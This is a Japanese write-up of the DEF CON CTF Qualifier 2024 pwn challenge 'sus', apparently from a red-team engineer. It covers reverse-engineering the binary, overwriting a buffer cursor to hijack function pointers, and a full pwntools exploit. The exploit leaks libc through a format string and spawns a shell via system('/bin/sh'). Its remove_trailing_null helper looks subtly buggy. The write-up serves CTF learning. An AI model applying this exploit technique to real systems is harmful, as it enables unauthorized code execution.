はじめに
プロフェッショナルサービス部の鈴木です。普段はレッドチーム業務を担当しています。今回は2024年5月に開催されたDEF CON CTF Qualifier 2024で出題されたpwn問題の解説をします。
問題ファイルはこちらからダウンロードできます(Nautilus-Institute/quals-2024 (github.com))
問題の概要
プログラムを立ち上げると、"Looking for sus files..."という文字列を出力した後に入力待ち状態になります。
ここの入力はある程度の長さの文字列を何回か入れられるようになっているようです。
解析(概要)
先に解析結果のまとめを載せます。解析の結果、メモリ上での変数の配置は下図のようになっていると考えられます。
先ほどの入力はbufに書き込まれるようになっていて、次に書き込む先をbuf_cursorが指しています。図の黄色い部分は書き込んでも大丈夫ですが、バグで赤い部分にも書き込みが可能なので、書き込み先をコントロールすることができてしまうというプログラムになっていました。
その他、解析から以下のことが分かりました
- 0x4040e0からバッファが始まる
- 0x4064a0に次の書き込み先のアドレスが入っていて、バッファオーバーフローで書き換え可能
- '\0'と'\n'は直接書き込むことができない
- 1回の入力で最低16バイト消費されるようになっていて、入力の長さが16バイトに足りない場合は'\0'で埋める
- 0x4040c0と0x4040c8に関数ポインタが入っていて、"sus"から始まる文字列を入力するとこれらの関数ポインタが呼び出される
解析(詳細)
まずmain関数から解析します。main関数をGhidraで見ると下図のようになっていました。
とりあえず関数ポインタの部分にbreakpointを張って実行してみます。
0x40197fの関数が呼び出されているのでGhidraでその関数を見ると下図のようになっていました。真ん中あたりのsyscall関数に0を渡してreadを呼び出しています。
syscall関数の位置でbreakpointを張って状態を確認すると、 `read(3, 0x4040e0, 1)` という関数呼び出しになっていることがわかります。
readで使われていたファイルディスクリプタが何のファイルなのかを確認します。 `strace ./sus` を実行すると以下の行を発見できました。
ファイルディスクリプタ0をopenしているので、先ほどのreadは標準入力から入力を受け取っていたことがわかります。
まずいろいろな入力を試してみます。'\0'と'\n'は書き込めませんでした。おそらく下図の赤枠部分で入力の終端を表すデータとして使われているからだと思われます。
次に長い文字列を入力してみます。すると、以下のようにSIGABRTでプログラムが停止します。何らかのチェックに引っかかったと考えられます。
ライブラリの関数の一つ前のリターンアドレスが0x401376なので、そのアドレスをGhidraで見てみると以下の関数の12行目の部分を呼び出したことがわかります。0x4064a0にあるグローバル変数にアクセスして条件の計算に使っていることから、0x4064a0に重要な変数が置かれていることがなんとなく推測できます。
この変数にどんな値が保持されているのかを調べます。0x4064a0にwatch pointを置いて適当な文字列を何回か入力してみます。
"AAAAA", "BBBBB", "CCCCC"という文字列を入力して、"CCCCC"が読み込まれる前の状態が以下になります。rdxが0x4064a0に入っていた古い値で、raxが0x4064a0に新しく入った値になっていました。
"CCCCC"が読み込まれると以下の状態になっていました。0x4064a0に入っていた古い値が指していたアドレスに文字列が書き込まれているので、0x4064a0には次のバッファのアドレスが入っていて、書き込み時に更新されると思われます。
0x4064a0に入っている変数が分かったところで、もう一度長い文字列を入力してみます。先ほどと同様にSIGABRTで停止しますが、0x4064a0の変数を確認すると下図のように書き換わっていることが分かります。
今度は0x4064a0に有効なアドレスを書き込めないか試してみます。以下のようなコードで0x4064a0に0x4040e0(バッファの開始アドレス)を上書きしてみます。
コードを実行したところ、今度はプログラムがクラッシュしませんでした。この時の0x4064a0の値は下図のようになっていました。0x4040e0から少し先のアドレスを指していますが、これは入力待ちの時点で次のバッファのアドレスを指すようになっているからだと思われます。
これらのことから、0x4064a0は書き込み先のアドレスを指していて、バッファオーバーフローで書き換え可能であることが分かりました。
ここで、一旦main関数に戻って下図の赤枠のコードブロックを見てみます。if文の内容を見ると、入力文字列が"sus"で始まっているとこのコードブロックに入るようです。
次に先ほどのコードブロックから呼ばれている0x40162bの関数を見てみます。この関数では関数ポインタを使った関数呼び出しが2回使われています。
breakpointを使ってこの関数ポインタがどこにあるのかを調べると下図の位置にありました。
ほかの変数との位置関係は下図のようになっています。文字列の入力を受け取るバッファより低いアドレスにあり、直接書き換えることはできませんが、0x4060a0にあるバッファの開始アドレスを書き換えてここを指すことで、書き換えることが可能になります。
以上の解析内容をまとめると、
- 0x4040e0からバッファが始まる
- 0x4064a0に次の書き込み先のアドレスが入っていて、バッファオーバーフローで書き換え可能
- '\0'と'\n'は直接書き込むことができない
- 1回の入力で最低16バイト消費されるようになっていて、入力の長さが16バイトに足りない場合は'\0'で埋める
- 0x4040c0と0x4040c8に関数ポインタが入っていて、"sus"から始まる文字列を入力するとこれらの関数ポインタが呼び出される
解法
まずは以下の手順でアドレスをリークさせます。
1. 0x4064a0のポインタを書き換えて0x4040c0を指すようにする
2. 0x4040c0(後に呼ばれる関数ポインタ)にmain関数のアドレスを書き込む
3. 0x4064a0のポインタを書き換えて0x4040c8を指すようにする
4. 0x4040c8(先に呼ばれる関数ポインタ)にprintf関数のアドレスを書き込む
5. 関数ポインタを起動する
main関数とprintf関数のアドレスを書く工程を分けているのは、16バイト単位で0埋めされることを利用して、アドレスに含まれる'\0'を書き込むためです。
5の関数ポインタを起動する部分についてもう少し詳しく解説します。
関数ポインタが実際に起動される部分の逆コンパイル結果を下図に示します。
入力文字列に"sus"から始まる文字列を入れるとこの部分が呼び出されるようになっています。先に呼ばれる関数ポインタは第一引数が入力した文字列になっているので、関数をprintfに変えたうえで、"sus:%19$p"のようなフォーマット文字列を入れれば、フォーマット文字列攻撃と同じ要領でアドレスをリークできます。
後で呼ばれるほうの関数ポインタにはmain関数のアドレスを入れておきます。この関数ポインタ呼び出しのすぐ後にexit関数を呼ぶ部分があるので、そこを避けるためです。
アドレスをリークさせてmain関数を呼び出すことに成功したら、今度はsystem関数を呼び出します。system関数のアドレスは先ほどリークしたアドレスから計算できて、アドレスをリークしたときと同じやり方で関数ポインタをsystem関数に書き換えればシェルを取ることができます。
エクスプロイト
先ほどの解法を実装すると以下のようなコードになります。
#!/usr/bin/env python3
from pwn import *
from subprocess import Popen, PIPE
from time import sleep
import sys
import argparse
binary_file = './sus'
libc_file = '/lib/x86_64-linux-gnu/libc.so.6'
ld_file = '/lib64/ld-linux-x86-64.so.2'
binary = ELF(binary_file)
libc = ELF(libc_file)
def main():
io = process([binary_file], env={'LD_PRELOAD':libc_file}, stderr=sys.stderr)
#io = remote('suscall.shellweplayaga.me', 505)
io.recvuntil(b"Looking for sus files...")
binary_printf_plt = 0x401150
binary_syscall_plt = 0x401190
binary_memcpy_plt = 0x4011a0
binary_main = 0x401acd
# 0x4040e0
io.send(b'A' * (0x4064a0 - 0x4040e0) + p64(0x4040c0)[:3] + b'\n')
# 0x4040c0
io.send(p64(binary_main)[:3] + b'\n') # FAKE function ponter 2
# 0x4040d0
payload = b""
payload = payload.ljust(0x4064a0 - 0x4040d0, b"a")
# 0x4064a0
payload += p64(0x4040c8)[:3] # point the place to write FAKE function poiner 1
io.send(payload+b"\n")
# 0x404138
io.send(p64(binary_printf_plt)[:3] + b'\n') # FAKE function pointer 1
# leak address
io.send(b'sus:%19$p\n')
io.recvuntil(b'sus:')
libc_leak = int(io.recvuntil('L')[:-1], 16)
libc_leak_example = 0x7ffff7c29d90
libc_base_example = 0x00007ffff7c00000
libc_base = libc_leak - libc_leak_example + libc_base_example
log.info(f'{hex(libc_base)}')
# second phase
io.recvuntil(b"ooking for sus files...")
def remove_trailing_null(x):
res = b''
for c in x:
if c == b'\0':
break
res += x
return res
# 0x404138
io.send(b'A' * (0x4064a0 - 0x404138) + p64(0x4040c8)[:3] + b'\n')
libc_system = libc_base + libc.symbols['system']
io.send(remove_trailing_null(p64(libc_system)) + b'\n')
# invoke system
io.send(b'sus;/bin/sh\n')
io.interactive()
if __name__ == '__main__':
main()
これを実行すると以下のようにシェルが取れます。
おわりに
今回はDEF CON CTF Qualifier 2024で出題されたpwn問題の解説をしました。解析パートの説明が難解になってしまったかもしれませんが、まとめの部分だけ見ていただければ、だいたい内容を理解していただけると思います。
DEF CON CTFは世界で最も有名なCTFで、難解な問題も多く出題されますが、今回の問題は解析パートが少々重いものの、総合的には素直に解ける問題だったのではないかと思います。これからも、いつかDEF CON決勝大会に出場することを目指して技術研鑽に励みたいと思います。